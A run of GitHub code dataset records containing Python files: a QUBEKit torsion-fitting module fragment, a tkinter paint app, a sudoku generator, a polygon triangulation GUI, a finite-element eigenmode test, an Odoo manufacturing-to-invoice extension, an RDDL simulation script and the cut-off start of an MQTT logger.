NotImplementedError\n\n # move back to the master folder\n chdir('../')\n\n # return the new positions\n return positions\n\n def single_point(self):\n \"\"\"Take set of coordinates of a molecule and do a single point calculation; returns an array of the energies.\"\"\"\n\n sp_energy = []\n # for each coordinate in the system we need to write a qm input file and get the single point energy\n # TODO add progress bar (tqdm?)\n try:\n rmtree(f'Single_points')\n except FileNotFoundError:\n pass\n mkdir('Single_points')\n chdir('Single_points')\n for i, x in enumerate(self.scan_coords):\n mkdir(f'SP_{i}')\n chdir(f'SP_{i}')\n print(f'Doing single point calculations on new structures ... {i + 1}/{len(self.scan_coords)}')\n # now we need to change the positions of the molecule in the molecule array\n for y, coord in enumerate(x):\n for z, pos in enumerate(coord):\n # convert from nanometers in openmm to Angs in QM\n self.qm_engine.molecule.molecule['input'][y][z + 1] = pos * 10\n\n # Write the new coordinate file and run the calculation\n self.qm_engine.generate_input(energy=True)\n\n # Extract the energy and save to the array\n sp_energy.append(self.qm_engine.get_energy())\n\n # Move back to the base directory\n chdir('../')\n\n # move out to the main folder\n chdir('../')\n\n return array(sp_energy)\n\n def update_mol(self):\n \"\"\"When the optimisation is complete, update the PeriodicTorsionForce parameters in the molecule.\"\"\"\n\n for val in self.tor_types.values():\n for dihedral in val[0]:\n for vn in range(4):\n try:\n self.molecule.PeriodicTorsionForce[dihedral][vn][1] = str(val[1][vn])\n except KeyError:\n self.molecule.PeriodicTorsionForce[tuple(reversed(dihedral))][vn][1] = str(val[1][vn])\n\n def opls_lj(self):\n \"\"\"\n This function changes the standard OpenMM combination rules to use OPLS, execp and normal pairs are only\n required if their are virtual sites in the molecule.\n \"\"\"\n\n # Get the system information from the openmm system\n forces = {self.system.getForce(index).__class__.__name__: self.system.getForce(index) for index in\n range(self.system.getNumForces())}\n # Use the nondonded_force to get the same rules\n nonbonded_force = forces['NonbondedForce']\n lorentz = mm.CustomNonbondedForce(\n 'epsilon*((sigma/r)^12-(sigma/r)^6); sigma=sqrt(sigma1*sigma2); epsilon=sqrt(epsilon1*epsilon2)*4.0')\n lorentz.setNonbondedMethod(nonbonded_force.getNonbondedMethod())\n lorentz.addPerParticleParameter('sigma')\n lorentz.addPerParticleParameter('epsilon')\n lorentz.setCutoffDistance(nonbonded_force.getCutoffDistance())\n self.system.addForce(lorentz)\n\n l_j_set = {}\n # For each particle, calculate the combination list again\n for index in range(nonbonded_force.getNumParticles()):\n charge, sigma, epsilon = nonbonded_force.getParticleParameters(index)\n l_j_set[index] = (sigma, epsilon, charge)\n lorentz.addParticle([sigma, epsilon])\n nonbonded_force.setParticleParameters(index, charge, 0, 0)\n\n for i in range(nonbonded_force.getNumExceptions()):\n (p1, p2, q, sig, eps) = nonbonded_force.getExceptionParameters(i)\n # ALL THE 12,13 and 14 interactions are EXCLUDED FROM CUSTOM NONBONDED FORCE\n lorentz.addExclusion(p1, p2)\n if eps._value != 0.0:\n charge = 0.5 * (l_j_set[p1][2] * l_j_set[p2][2])\n sig14 = sqrt(l_j_set[p1][0] * l_j_set[p2][0])\n nonbonded_force.setExceptionParameters(i, p1, p2, charge, sig14, eps)\n # If there is a virtual site in the molecule we have to change the exceptions and pairs lists\n # Old method which needs updating\n # if excep_pairs:\n # for x in range(len(excep_pairs)): # scale 14 interactions\n # if p1 == excep_pairs[x, 0] and p2 == excep_pairs[x, 1] or p2 == excep_pairs[x, 0] and p1 == \\\n # excep_pairs[x, 1]:\n # charge1, sigma1, epsilon1 = nonbonded_force.getParticleParameters(p1)\n # charge2, sigma2, epsilon2 = nonbonded_force.getParticleParameters(p2)\n # q = charge1 * charge2 * 0.5\n # sig14 = sqrt(sigma1 * sigma2) * 0.5\n # eps = sqrt(epsilon1 * epsilon2) * 0.5\n # nonbonded_force.setExceptionParameters(i, p1, p2, q, sig14, eps)\n #\n # if normal_pairs:\n # for x in range(len(normal_pairs)):\n # if p1 == normal_pairs[x, 0] and p2 == normal_pairs[x, 1] or p2 == normal_pairs[x, 0] and p1 == \\\n # normal_pairs[x, 1]:\n # charge1, sigma1, epsilon1 = nonbonded_force.getParticleParameters(p1)\n # charge2, sigma2, epsilon2 = nonbonded_force.getParticleParameters(p2)\n # q = charge1 * charge2\n # sig14 = sqrt(sigma1 * sigma2)\n # eps = sqrt(epsilon1 * epsilon2)\n # nonbonded_force.setExceptionParameters(i, p1, p2, q, sig14, eps)\n\n return self.system\n","repo_name":"jthorton/QUBEKitdev","sub_path":"QUBEKit/dihedrals.py","file_name":"dihedrals.py","file_ext":"py","file_size_in_byte":53781,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"22305859879","text":"import tkinter\r\n\r\n# 상수 선언\r\ncolor = 'black'\r\nnowcolor = \"검은색\"\r\np = 1\r\nlastx1, lasty1 = 0, 0\r\n\r\ndef painterpg():\r\n\r\n # 기본 설정\r\n painter = tkinter.Tk()\r\n painter.geometry('600x600')\r\n painter.title('그림판')\r\n painter.resizable(0, 0)\r\n\r\n # 프레임 설정\r\n frame_canvas = tkinter.Frame(painter, width = 400, height = 400, relief = \"solid\", bd = 3)\r\n frame_canvas.pack(side = \"top\")\r\n frame_label = tkinter.Frame(painter, width = 400, height = 100, relief = \"solid\", bd = 2)\r\n frame_label.pack()\r\n\r\n # 캔버스 설정\r\n\r\n # 페인트툴 설정\r\n def paint(event):\r\n global lastx1, lasty1\r\n lastx1, lasty1 = event.x, event.y\r\n x1, y1 = (event.x - p), (event.y - p)\r\n x2, y2 = (event.x + p), (event.y + p)\r\n frame_canvas.create_line(x1, y1, x2, y2, fill = color, width = p)\r\n\r\n # 색상 설정\r\n def change_black():\r\n global color\r\n color = 'black'\r\n nowcolor = \"검은색\"\r\n\r\n def change_red():\r\n global color\r\n color = 'red'\r\n nowcolor = \"빨간색\"\r\n\r\n def change_blue():\r\n global color\r\n color = 'blue'\r\n nowcolor = \"파란색\"\r\n\r\n def change_green():\r\n global color\r\n color = 'green'\r\n nowcolor = \"초록색\"\r\n\r\n def change_yellow():\r\n global color\r\n color = 'yellow'\r\n nowcolor = '노란색'\r\n\r\n # 굵기 설정\r\n def increase_p():\r\n global p\r\n p = p + 1\r\n if p > 50:\r\n p = 50\r\n\r\n def decrease_p():\r\n global p\r\n p = p - 1\r\n if p < 1:\r\n p = 1\r\n\r\n # 전체 지우기, 지우개 툴 설정\r\n def clear():\r\n canvas.delete('all')\r\n\r\n def erase():\r\n global color\r\n color = '#f0f0f0'\r\n\r\n # 메인화면으로 나가기\r\n def exit():\r\n from main_window1 import painter_main\r\n painter.destroy()\r\n painter_main()\r\n\r\n # 프레임 설정\r\n frame_canvas.bind(\"\", paint)\r\n\r\n # 라벨 설정\r\n wid_label = tkinter.Label(frame_label, text = \"굵기:\" + str(p))\r\n wid_label.pack(anchor = 'center')\r\n wid_label.place(y = 100)\r\n nowcolor_label = tkinter.Label(frame_label, text=\"붓 색깔:\" + str(nowcolor))\r\n nowcolor_label.pack()\r\n\r\n # 버튼 설정\r\n b_red = tkinter.Button(painter, bg='red', width=3, height=1, command=change_red)\r\n b_blue = tkinter.Button(painter, bg='blue', width=3, height=1, command=change_blue)\r\n b_green = tkinter.Button(painter, bg='green', width=3, height=1, command=change_green)\r\n b_yellow = tkinter.Button(painter, bg='yellow', width=3, height=1, command=change_yellow)\r\n b_black = tkinter.Button(painter, bg='black', width=3, height=1, command=change_black)\r\n b_thickup = tkinter.Button(painter, text='펜 굵기 증가', font='Arial', width=9, height=1, command=increase_p)\r\n b_thickdown = tkinter.Button(painter, text='펜 굵기 감소', font='Arial', width=9, height=1, command=decrease_p)\r\n b_eraseall = tkinter.Button(painter, text='전체 지우기', font='Arial', width=9, height=1, command=clear)\r\n b_eraser = tkinter.Button(painter, text='지우개', font='Arial', width=6, height=1, command=erase)\r\n b_mainwindow = tkinter.Button(painter, text='메인화면', font='Arial', width=9, height=1, command=exit)\r\n\r\n # 버튼 배치\r\n b_black.place(x=90, y=575)\r\n b_red.place(x=0, y=575)\r\n b_blue.place(x=30, y=575)\r\n b_green.place(x=60, y=575)\r\n b_yellow.place(x=120, y=575)\r\n b_thickup.place(x=3, y=5)\r\n b_thickdown.place(x=3, y=40)\r\n b_eraseall.place(x=507, y=5)\r\n b_eraser.place(x=0, y=530)\r\n b_mainwindow.place(x=507, y=40)\r\n\r\n painter.mainloop()\r\n","repo_name":"Quaxier/painterquaxi","sub_path":"painter1.py","file_name":"painter1.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14796380557","text":"import random\n\n\ndef print_list_in_list(board: list):\n for i in board:\n print(i)\n\n\ndef validate_sudoku(board: dict):\n for current_row_id in range(9):\n for current_column_id in range(9):\n number = board[current_row_id][current_column_id]\n for column_id in range(9):\n if number == board[current_row_id][column_id]:\n return False\n for row_id in range(9):\n if number == board[row_id][current_column_id]:\n return False\n box_start_row = current_row_id // 3 * 3\n box_start_col = current_column_id // 3 * 3\n for i in range(3):\n for j in range(3):\n if board[i + box_start_row][j + box_start_col] == number:\n return False\n return True\n\n\ndef is_valid_number(number, input_column_id, input_row_id, board: dict, mode: int):\n for column_id in range(9):\n if number == board[input_row_id][column_id]:\n if mode == 0:\n return False\n else:\n return [input_row_id, column_id]\n for row_id in range(9):\n if number == board[row_id][input_column_id]:\n if mode == 0:\n return False\n else:\n return [row_id, input_column_id]\n box_start_row = input_row_id // 3 * 3\n box_start_col = input_column_id // 3 * 3\n for i in range(3):\n for j in range(3):\n if board[i + box_start_row][j + box_start_col] == number:\n if mode == 0:\n return False\n else:\n return [i + box_start_row, j + box_start_col]\n return True\n\n\ndef sudoku_solver(board: dict, numbers_solved: int):\n while numbers_solved < 81:\n row_id = random.randint(0, 8)\n column_id = random.randint(0, 8)\n if board[row_id][column_id] == \" \":\n generated_number = random.randint(1, 9)\n if is_valid_number(generated_number, column_id, row_id, board, 0):\n board[row_id][column_id] = generated_number\n numbers_solved += 1\n else:\n for z in range(1, 10):\n if is_valid_number(z, column_id, row_id, board, 0):\n board[row_id][column_id] = z\n numbers_solved += 1\n break\n else:\n coordinates = is_valid_number(generated_number, column_id, row_id, board, 1)\n board[int(coordinates[0])][int(coordinates[1])] = \" \"\n numbers_solved -= 1\n return board\n\n\nsudoku = {}\nfor rowIndex in range(9):\n rows = []\n for columnIndex in range(9):\n rows.append(\" \")\n sudoku[rowIndex] = rows\nsudoku = sudoku_solver(sudoku, 0)\nprint_dictionary(sudoku)\n","repo_name":"Michal-Miky-Jankovsky/sudoku","sub_path":"web/sudoku_web.py","file_name":"sudoku_web.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"45504659374","text":"import tkinter as tk\nimport algorithm as algo\nimport sys\nimport os\nfrom PIL import ImageGrab\nimport time\nimport algo_in_python as algopy\n\n\nclass Application(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.clip = False\n self.finish = False\n self.new = True\n self.folder_index = 0\n self.state = 0 # 0 : ear clipping , 1 : optical edge clipping\n self.master = master\n self.pack()\n self.create_widgets()\n\n def create_widgets(self):\n self.canvas = tk.Canvas(self, width=500, height=500, bg=\"white\")\n self.canvas.bind(\"\", self.add_point)\n self.canvas.pack()\n\n self.finish_btn = tk.Button(self, text=\"FINISH\", command=self.finish_polygon)\n self.finish_btn.pack(side=\"left\")\n\n self.redo_btn = tk.Button(self, text=\"REDO\", command=self.redo_polygon)\n self.redo_btn.pack(side=\"left\")\n\n \n\n self.clip_btn = tk.Button(self, text=\"EAR CLIP\", command=self.earclip_polygon, fg=\"red\")\n self.clip_btn.pack(side=\"right\")\n\n self.clip_btn = tk.Button(self, text=\"OPTIMAL CLIP\", command=self.optclip_polygon, fg=\"green\")\n self.clip_btn.pack(side=\"right\")\n\n self.clip_btn = tk.Button(self, text=\"SAVE\", command=self.save_result, fg=\"blue\")\n self.clip_btn.pack(side=\"right\")\n\n self.canvas.bind(\"\", self.track_mouse)\n self.line = None\n\n self.not_finish_lb = tk.Label(fg=\"black\", text=\"Please click the FINISH button first.\")\n self.less_than_2_lb = tk.Label(fg=\"black\", text=\"A polygon must have at least three points.\")\n self.save_lb = tk.Label(fg=\"black\", text=\"Please draw and clip a polygon first.\")\n self.intersect_lb = tk.Label(fg=\"black\", text=\"Polygon is self-intersecting and cannot be triangulated.\")\n\n self.points = []\n self.traingles = []\n\n def track_mouse(self, event):\n # Only track the mouse if there are points on the canvas already.\n if self.points and self.finish == False and self.clip == False:\n # If there is already a tracking line, remove it.\n if self.line is not None:\n self.canvas.delete(self.line)\n # Draw a new tracking line from the last point to the current mouse position.\n last_point = self.points[-1]\n self.line = self.canvas.create_line(last_point.x, last_point.y, event.x, event.y)\n\n def add_point(self, event):\n if self.finish == True:\n return \n if self.clip == True:\n self.points = []\n self.canvas.delete('all')\n self.clip = False\n self.finish = False\n self.clear_label()\n self.new = True\n if self.line is not None:\n self.canvas.delete(self.line)\n self.line = None\n x, y = event.x, event.y\n self.canvas.create_oval(x-2, y-2, x+2, y+2, fill='black')\n point = algo.Point()\n point.x = x\n point.y = y\n self.points.append(point)\n\n # Draw a line from the last point to the new one, but only if it's not the first point.\n if len(self.points) > 1:\n last_point = self.points[-2] # Second to last point.\n self.canvas.create_line(last_point.x, last_point.y, x, y)\n\n def finish_polygon(self):\n if self.line is not None:\n self.canvas.delete(self.line)\n if len(self.points) > 2:\n if self.less_than_2_lb.winfo_exists():\n self.less_than_2_lb.pack_forget()\n self.update_idletasks()\n x1, y1 = self.points[0].x, self.points[0].y\n x2, y2 = self.points[-1].x, self.points[-1].y\n self.canvas.create_line(x1, y1, x2, y2)\n self.finish = True\n else:\n self.less_than_2_lb.pack()\n\n def redo_polygon(self):\n self.clear_label()\n self.points = []\n self.canvas.delete('all')\n self.finish = False\n self.clip = False\n self.new = True\n if self.line is not None:\n self.canvas.delete(self.line)\n self.line = None\n\n def clear_label(self):\n if self.not_finish_lb.winfo_exists():\n self.not_finish_lb.pack_forget()\n if self.intersect_lb.winfo_exists():\n self.intersect_lb.pack_forget()\n if self.less_than_2_lb.winfo_exists():\n self.less_than_2_lb.pack_forget()\n if self.intersect_lb.winfo_exists():\n self.intersect_lb.pack_forget()\n\n def calculate_signed_area(self):\n area = 0\n n = len(self.points)\n for i in range(n):\n p1 = self.points[i]\n p2 = self.points[(i+1)%n]\n area += (p1.x * p2.y) - (p2.x * p1.y)\n return area / 2\n\n def ensure_clockwise(self):\n signed_area = self.calculate_signed_area()\n if signed_area < 0: # If the polygon is counter clockwise\n self.points.append(self.points[0])\n self.points.pop(0)\n self.points.reverse() # Reverse the order of the points\n\n return self.points\n\n def earclip_polygon(self):\n self.clear_label()\n if self.finish == False and self.state == 0:\n self.not_finish_lb.pack()\n self.update_idletasks()\n else:\n self.triangles = []\n self.points = self.ensure_clockwise()\n\n self.triangles = algo.ear_clipping(self.points)\n # self.triangles = algopy.ear_clipping(self.points)\n\n if not self.triangles:\n self.intersect_lb.pack()\n self.update_idletasks()\n else:\n self.state = 0\n self.canvas.delete('all')\n for triangle in self.triangles:\n for i in range(len(triangle)):\n x1, y1 = triangle[i].x, triangle[i].y\n x2, y2 = triangle[(i + 1) % len(triangle)].x, triangle[(i + 1) % len(triangle)].y\n self.canvas.create_line(x1, y1, x2, y2)\n\n self.save_points = self.points.copy()\n \n self.clip = True\n self.finish = False\n \n\n def optclip_polygon(self):\n self.clear_label()\n if self.finish == False and self.state == 1:\n self.not_finish_lb.pack()\n self.update_idletasks()\n else:\n self.state = 1\n self.triangles = []\n self.points = self.ensure_clockwise()\n\n self.triangles = algo.optimal_triangulation(self.points)\n\n if not self.triangles:\n self.intersect_lb.pack()\n self.update_idletasks()\n else:\n self.canvas.delete('all')\n for triangle in self.triangles:\n for i in range(len(triangle)):\n x1, y1 = triangle[i].x, triangle[i].y\n x2, y2 = triangle[(i + 1) % len(triangle)].x, triangle[(i + 1) % len(triangle)].y\n self.canvas.create_line(x1, y1, x2, y2)\n\n self.save_points = self.points.copy()\n # self.points = []\n \n self.clip = True\n self.finish = False\n\n def save_result(self):\n if self.save_lb.winfo_exists():\n self.save_lb.pack_forget()\n if self.clip == False:\n self.save_lb.pack()\n else:\n self.canvas.update_idletasks()\n # Save the image of clipped polygon\n index = 1\n if self.new == True:\n for folder in sorted(os.listdir(\"./draw\")):\n if folder == str(index):\n index += 1\n self.folder_index = index\n os.mkdir(\"./draw/\"+str(self.folder_index))\n self.new = False\n save_path = \"./draw/\" + str(self.folder_index)\n os.chdir(save_path)\n if self.state == 0:\n save_name = \"output_image_ear.png\"\n save_triangle = \"output_triangle_ear.txt\"\n else:\n save_name = \"output_image_opt.png\"\n save_triangle = \"output_triangle_opt.txt\"\n print(save_name)\n print(save_path)\n ImageGrab.grab(bbox=(self.canvas.winfo_rootx(),\n self.canvas.winfo_rooty(),\n self.canvas.winfo_rootx()+self.canvas.winfo_width(),\n self.canvas.winfo_rooty()+self.canvas.winfo_height())).save(save_name)\n\n # Save the input points\n with open('input_point.txt', 'w') as file:\n file.write(str(len(self.save_points)) + '\\n')\n for point in self.save_points:\n file.write(f'{point.x} {point.y}\\n')\n self.save_points = []\n\n # Save the output triangles\n with open(save_triangle, 'w') as file:\n file.write(str(len(self.triangles)) + '\\n')\n for triangle in self.triangles:\n for point in triangle:\n file.write(f'{point.x} {point.y}\\n')\n file.write('\\n')\n os.chdir(\"../..\")\n\ndef calculate_signed_area(polygon):\n area = 0\n n = len(polygon)\n for i in range(n):\n p1 = polygon[i]\n p2 = polygon[(i+1)%n]\n area += (p1.x * p2.y) - (p2.x * p1.y)\n return area / 2\n\ndef ensure_clockwise(polygon):\n signed_area = calculate_signed_area(polygon)\n if signed_area < 0: # If the polygon is clockwise\n polygon.append(polygon[0])\n polygon.pop(0)\n polygon.reverse() # Reverse the order of the points\n\n return polygon\n\ndef input_draw():\n root = tk.Tk()\n sw = root.winfo_screenwidth()\n sh = root.winfo_screenheight()\n\n ww = 600\n wh = 580\n\n x = (sw-ww) / 2\n y = (sh-wh) / 2\n root.geometry(\"%dx%d+%d+%d\" %(ww,wh,x,y))\n root.title(\"PolyClipper\")\n root.resizable(False, False)\n app = Application(master=root)\n app.mainloop()\n\ndef input_file():\n state = sys.argv[2]\n for folder in sorted(os.listdir(\"./file\")):\n case_folder=os.path.join(\"./file\",folder)\n print(folder)\n os.chdir(case_folder)\n if os.path.exists(\"output_point.txt\"):\n print(\"Already have output\")\n os.chdir(\"../..\")\n continue\n if os.path.exists(\"input.txt\"):\n with open(\"input.txt\", 'r') as file:\n num_points = int(file.readline().strip())\n # print(num_points)\n polygon = []\n for _ in range(num_points):\n line = file.readline().strip()\n x, y = map(int, line.split())\n point = algo.Point()\n point.x = x\n point.y = y\n polygon.append(point)\n polygon = ensure_clockwise(polygon)\n if state == 'ear':\n # start = time.time()\n triangles = algo.ear_clipping(polygon)\n # end = time.time()\n # print(f\"Time for ear clipping algo : {end - start} seconds\")\n\n elif state == 'opt':\n triangles = algo.ear_clipping(polygon)\n else:\n print(\"Not a valid algo\")\n with open('output_point.txt', 'w') as file:\n file.write(str(len(triangles)) + '\\n')\n for triangle in triangles:\n for point in triangle:\n file.write(f'{point.x} {point.y}\\n')\n file.write('\\n')\n os.chdir(\"../..\")\n print(\"Done\")\n\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == 'file':\n input_file()\n\n else:\n input_draw()","repo_name":"jamie212/PolyClipper","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":11811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"25825170735","text":"# -*- coding: utf-8 -*-\n''' SOLVIA Verification Manual. Example A50. \n Arpack solver version.'''\n\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport geom\nimport xc\n\nfrom model import predefined_spaces\nfrom solution import predefined_solutions\nfrom materials import typical_materials\n# from postprocess import output_handler\nimport math\n\n__author__= \"Luis C. Pérez Tato (LCPT)\"\n__copyright__= \"Copyright 2014, LCPT\"\n__license__= \"GPL\"\n__version__= \"3.0\"\n__email__= \"l.pereztato@gmail.com\"\n\nL= 1 # Cantilever length in meters\nb= 0.05 # Cross section width in meters\nh= 0.1 # Cross section depth in meters\nnuMat= 0.3 # Poisson's ratio.\nEMat= 2.0E11 # Young modulus en N/m2.\nespChapa= h # Thickness (m).\narea= b*espChapa # Cross section area en m2\ninertia1= 1/12.0*espChapa*b**3 # Moment of inertia in m4\ninertia2= 1/12.0*b*espChapa**3 # Moment of inertia in m4\ndens= 7800 # Density of the steel en kg/m3\nm= b*h*dens\n\nnumDiv= 10\n\n# Problem type\nfeProblem= xc.FEProblem()\npreprocessor= feProblem.getPreprocessor\nnodes= preprocessor.getNodeHandler\n\nmodelSpace= predefined_spaces.StructuralMechanics3D(nodes)\n# Define materials\nelast= typical_materials.defElasticMembranePlateSection(preprocessor, \"elast\",EMat,nuMat,dens,espChapa)\n\n# Geometry\npoints= preprocessor.getMultiBlockTopology.getPoints\npt1= points.newPoint(1, geom.Pos3d(0.0,0.0,0) )\npt2= points.newPoint(2, geom.Pos3d(b,0.0,0) )\npt3= points.newPoint(3, geom.Pos3d(b,L,0) )\npt4= points.newPoint(4, geom.Pos3d(0,L,0) )\nsurfaces= preprocessor.getMultiBlockTopology.getSurfaces\ns= surfaces.newQuadSurfacePts(1,2,3,4)\ns.nDivI= max(int(numDiv/30),1)\ns.nDivJ= numDiv\n\n# Mesh\nseedElemHandler= preprocessor.getElementHandler.seedElemHandler\nseedElemHandler.defaultMaterial= elast.name\nelem= seedElemHandler.newElement(\"ShellMITC4\",xc.ID([0,0,0,0]))\n\ns.genMesh(xc.meshDir.I)\n# Constraints\n\n\nln= preprocessor.getMultiBlockTopology.getLineWithEndPoints(pt1.tag,pt2.tag)\nlNodes= ln.nodes\nfor n in lNodes:\n n.fix(xc.ID([0,1,2,3,4,5]),xc.Vector([0,0,0,0,0,0])) # UX,UY,UZ,RX,RY,RZ\n\n# Solution procedure\nanalysis= predefined_solutions.frequency_analysis(feProblem, systemPrefix= 'band_arpack')\n#analysis= predefined_solutions.frequency_analysis(feProblem, systemPrefix= 'full_gen')\nnumModes= 2\nanalOk= analysis.analyze(numModes)\neig1= analysis.getEigenvalue(1)\neig2= analysis.getEigenvalue(2)\n\nomega1= math.sqrt(eig1)\nT1= 2*math.pi/omega1\nf1calc= 1.0/T1\nomega2= math.sqrt(eig2)\nT2= 2*math.pi/omega2\nf2calc= 1.0/T2\nperiods= [T1, T2]\n\n\nLambda= 1.87510407\nf1teor= Lambda**2/(2.0*math.pi*L**2)*math.sqrt(EMat*inertia1/m)\nratio1= abs(f1calc-f1teor)/f1teor\nf2teor= Lambda**2/(2*math.pi*L**2)*math.sqrt(EMat*inertia2/m)\nratio2= abs(f2calc-f2teor)/f2teor\n\n'''\nprint(\"omega1= \",omega1)\nprint(\"T1= \",T1)\nprint(\"f1calc= \",f1calc)\nprint(\"f1teor= \",f1teor)\nprint(\"ratio1= \",ratio1)\nprint(\"omega2= \",omega2)\nprint(\"T2= \",T2)\nprint(\"f2calc= \",f2calc)\nprint(\"f2teor= \",f2teor)\nprint(\"ratio2= \",ratio2)\n'''\n\nimport os\nfrom misc_utils import log_messages as lmsg\nfname= os.path.basename(__file__)\nif (abs(ratio2)<1e-3):\n print('test '+fname+': ok.')\nelse:\n lmsg.error(fname+' ERROR.')\n \n# #Graphic stuff.\n# oh= output_handler.OutputHandler(modelSpace)\n\n# for mode in range(1,numModes+1):\n# T= periods[mode-1]\n# f= 1.0/T\n# print('T_'+str(mode)+'= ',T, 's')\n# print('f_'+str(mode)+'= ',f, 'Hz')\n# oh.displayEigenvectors(mode)\n","repo_name":"xcfem/xc","sub_path":"verif/tests/solution/eigenvalues/eigenmodes/cantilever_eigenmodes_03.py","file_name":"cantilever_eigenmodes_03.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":196,"dataset":"github-code","pt":"31"} +{"seq_id":"6121367447","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import fields, models, api\nfrom odoo.exceptions import AccessError, UserError\nimport datetime\nfrom datetime import date, datetime\n\n\nclass ProductTemplateExt(models.Model):\n _inherit = 'product.template'\n\n activate_production = fields.Boolean(string='Activate Contractual Production')\n partner_id = fields.Many2one(comodel_name='res.partner', string='Partner', required=True)\n\n\nclass AccountInvoiceExt(models.Model):\n _inherit = 'account.invoice'\n\n de_production_id = fields.Many2many(comodel_name='mrp.production', string='Production Id')\n\n\nclass MrpBomLineExt(models.Model):\n _inherit = 'mrp.bom.line'\n\n @api.onchange('product_id')\n def onchange_product_id(self):\n if self.product_id:\n self.product_uom_id = self.product_id.uom_id.id\n if self.product_id.activate_production == True:\n self.wage_price = self.product_id.list_price\n\n wage_price = fields.Float(string='Wage Price')\n\n\nclass MrpProductionExt(models.Model):\n _inherit = 'mrp.production'\n\n @api.multi\n def post_inventory(self):\n for order in self:\n print('yaseeeeeeeeeeen')\n moves_not_to_do = order.move_raw_ids.filtered(lambda x: x.state == 'done')\n moves_to_do = order.move_raw_ids.filtered(lambda x: x.state not in ('done', 'cancel'))\n for move in moves_to_do.filtered(lambda m: m.product_qty == 0.0 and m.quantity_done > 0):\n move.product_uom_qty = move.quantity_done\n moves_to_do._action_done()\n moves_to_do = order.move_raw_ids.filtered(lambda x: x.state == 'done') - moves_not_to_do\n order._cal_price(moves_to_do)\n moves_to_finish = order.move_finished_ids.filtered(lambda x: x.state not in ('done', 'cancel'))\n moves_to_finish._action_done()\n order.action_assign()\n consume_move_lines = moves_to_do.mapped('active_move_line_ids')\n for moveline in moves_to_finish.mapped('active_move_line_ids'):\n if moveline.product_id == order.product_id and moveline.move_id.has_tracking != 'none':\n if any([not ml.lot_produced_id for ml in consume_move_lines]):\n raise UserError(_('You can not consume without telling for which lot you consumed it'))\n # Link all movelines in the consumed with same lot_produced_id false or the correct lot_produced_id\n filtered_lines = consume_move_lines.filtered(lambda x: x.lot_produced_id == moveline.lot_id)\n moveline.write({'consume_line_ids': [(6, 0, [x for x in filtered_lines.ids])]})\n else:\n # Link with everything\n moveline.write({'consume_line_ids': [(6, 0, [x for x in consume_move_lines.ids])]})\n production_lines = self.env['stock.move'].search(['&', ('raw_material_production_id', '=', order.id), ('state', '=', 'done')])\n for prod in production_lines:\n if prod.product_id.activate_production == True:\n existing_bill = self.env['account.invoice'].search(['&', ('partner_id', '=', prod.product_id.partner_id.id), ('state', '=', 'draft')])\n existing_bill_lines = self.env['account.invoice.line'].search([('invoice_id', '=', existing_bill.id)])\n if existing_bill:\n self.env['account.invoice.line'].create({\n 'invoice_id': existing_bill.id,\n 'product_id': prod.product_id.id,\n 'name': 'Production Product',\n 'quantity': prod.quantity_done,\n 'account_id': 17,\n 'price_unit': prod.product_id.list_price,\n })\n else:\n journal = self.env['account.journal'].search([('name', '=', 'Vendor Bills')])\n supplier_line = {\n 'product_id': prod.product_id.id,\n 'name': 'Production Product',\n 'quantity': prod.quantity_done,\n 'account_id': 17,\n 'price_unit': prod.product_id.list_price,\n }\n record_line = {\n 'reference': order.name,\n 'partner_id': prod.product_id.partner_id.id,\n 'date_invoice': fields.Date.today(),\n 'date_due': date.today(),\n 'type': 'in_invoice',\n 'journal_id': journal.id,\n 'invoice_line_ids': [(0, 0, supplier_line)],\n }\n record = self.env['account.invoice'].create(record_line)\n # rec.bill_generated = 'true'\n return True\n\n","repo_name":"yasinjamii/de_consignment_stock","sub_path":"de_customize_ext/models/product_ext.py","file_name":"product_ext.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22030971465","text":"\nimport logging\n\nimport torch\n\nfrom pyRDDLGym import RDDLEnv\nfrom pyRDDLGym import ExampleManager\nfrom pyRDDLGym.XADD.RDDLModelXADD import RDDLModelWXADD\nfrom policy_learning.DQN.agents import DQN_Agent\nfrom utils.dqn_utils import *\n\nfrom pyRDDLGym.Policies.Agents import RandomAgent\n\n\n\nparams = Params(\"./params/dqn_params_inventory.json\")\nprint('-----------------------------')\nprint(params.model_version, params.agent_type)\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nDOMAIN_PATH = params.domain_path\nINSTANCE_PATH = params.instance_path\n\nmyEnv = RDDLEnv.RDDLEnv(domain=DOMAIN_PATH, instance=INSTANCE_PATH)\nmodel, context = get_xadd_model_from_file(f_domain=DOMAIN_PATH, f_instance=INSTANCE_PATH)\n\nagent = RandomAgent(action_space=myEnv.action_space, num_actions=myEnv.numConcurrentActions)\n\ntotal_reward = 0\nstate = myEnv.reset()\nfor step in range(myEnv.horizon):\n action = agent.sample_action()\n next_state, reward, done, info = myEnv.step(action)\n total_reward += reward\n print()\n print('step = {}'.format(step))\n print('state = {}'.format(state))\n print('action = {}'.format(action))\n print('next state = {}'.format(next_state))\n print('reward = {}'.format(reward))\n state = next_state\n if done:\n break\nprint(\"episode ended with reward {}\".format(total_reward))\nmyEnv.close()","repo_name":"jackliuto/model_diff_XADD","sub_path":"test_simulation.py","file_name":"test_simulation.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21731031089","text":"# coding=utf-8\n\nimport sys\nimport datetime as dt\nimport pika\n\n# 是否日志MongoDB入库\nMONGDB_ENABLE = False\n\nif MONGDB_ENABLE:\n from pymongo import MongoClient\n client = MongoClient('localhost', 27017)\n\n db = client['mqtt-log']\n mqtt_log = 